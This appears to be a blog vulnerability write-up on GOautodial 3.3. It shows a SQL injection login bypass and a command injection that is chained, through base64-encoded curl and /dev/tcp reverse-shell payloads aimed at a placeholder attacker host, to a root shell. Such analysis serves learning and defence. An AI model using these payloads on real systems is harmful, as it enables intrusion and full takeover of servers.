Background
I decided to do a little vulnerability analysis. The target? GOautodial Community Edition version 3.3. According to goautodial.org
GOautodial is the next generation open source omni-channel contact center suite. Built from the ground up using established open source technologies.
If you immediately clicked away to google it, you'd come across two posts on exploit-db.com one of them being a Metasploit module. Of course, one could just run the module without a second thought but that wouldn't be very interesting would it?
Furthermore, GOautodial is open source. This means we can study the source code to better understand the vulnerabilities.
Setup
I needed a GOautodial instance to test with. Fortunately, there are prebuilt ISO images for download. I used this image.
I installed GOautodial on a VM with 1 processor core, 1 GB memory and 20 GB disk space.
⚠️ Note: Make sure to set the hard disk bus type to IDE instead of SCSI or SATA. Otherwise, it will not install.
I recommend watching this video at least for the network configuration portion.
Once configured, the web interface will be available at https://[machine-ip]/. It uses TLS 1.0, so Google Chrome did not allow me to proceed. However, Firefox did allow with a warning that TLS 1.0 will be deprecated in the future.
The web root directory is /var/www/html
.
SQL Injection
The first vulnerability is authentication bypass via SQL Injection. The PHP file handling the login process is application/controllers/go_login.php
. More specifically, the function validate_credentials
. This line is interesting.
$this->load->model('go_auth');
$query = $this->go_auth->validate();
When we look under application/models
, there indeed is a go_auth.php
. Let's inspect its validate
function. I have pretty printed it.
$this->adb = $this->load->database('dialerdb', true);
$this->adb->where('user', $uname);
#$this->adb->where('pass', $upass);
$this->adb->where("pass like binary '%$upass%'");
$this->adb->where('user_level > 7');
$this->adb->where('active',"Y");
$query = $this->adb->get('vicidial_users');
if($query->num_rows == 1){
return true;
}
None of the login inputs are sanitised. I would imagine the SQL query would look like this with the credentials admin:pass
.
SELECT * from vicidial_users
WHERE (user = admin
AND pass LIKE BINARY '%pass%'
AND user_level > 7
AND active = Y
);
If we input 'OR '1'='1
, the query becomes
SELECT * from vicidial_users
WHERE (user = admin
AND pass LIKE BINARY '%'OR '1'='1%'
AND user_level > 7
AND active = Y
);
The condition will always evaluate as true, effectively logging in as admin.
Command Injection
This second vulnerability is total system compromise via arbitrary command injection. In order to successfully exploit this, we must be logged in. The affected code is in application/controllers/go_site.php
. More specifically, the function cpanel
. This line is interesting.
exec("/usr/share/goautodial/goautodialc.pl '/sbin/service $type ".strtolower($action)."'");
The two inputs "type" and "action" are not sanitised, allowing an attacker to run virtually any system command.
The vulnerable URL is
https://[victim-ip]/index.php/go_site/cpanel/[type]/[action]
If we set "type" to be
; curl http://at.tac.ker.ip
And setup a HTTP server to listen on port 80, we should see a request logged on our console. However, to save us the trouble of escaping characters, we can Base64 encode our intended command.
~ % echo "curl http://at.tac.ker.ip" | base64
Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=
Then we modify our payload to decode the Base64 string and run it.
; echo "Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=" | base64 --decode | bash
Of course, replace att.ack.er.ip
with your IP. The URL becomes
https://[victim-ip]/index.php/go_site/cpanel/; echo "Y3VybCBodHRwOi8vYXQudGFjLmtlci5pcAo=" | base64 --decode | bash
The full Python provides a HTTP server module. Run it then perform a GET request with the above URL.
~ % python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:XXX.XXX.XXX.XXX - - [07/Jun/2021 23:16:16] "GET / HTTP/1.1" 200 -
Confirming we can execute system commands, it's time for a reverse shell.
~ % echo "bash -i >& /dev/tcp/att.ack.er.ip/80 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHQuYWNrLmVyLmlwLzgwIDA+JjEK
Kill the Python HTTP server and run a netcat listener. Modify the request and we have a root shell.
~ % sudo nc -nvl 80
bash: no job control in this shell
[root@go ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@go ~]#
Fin
I hope you learned something or at least it has been an interesting read. You can check out how these two vulnerabilities were patched in the GitHub repo.
Top comments (0)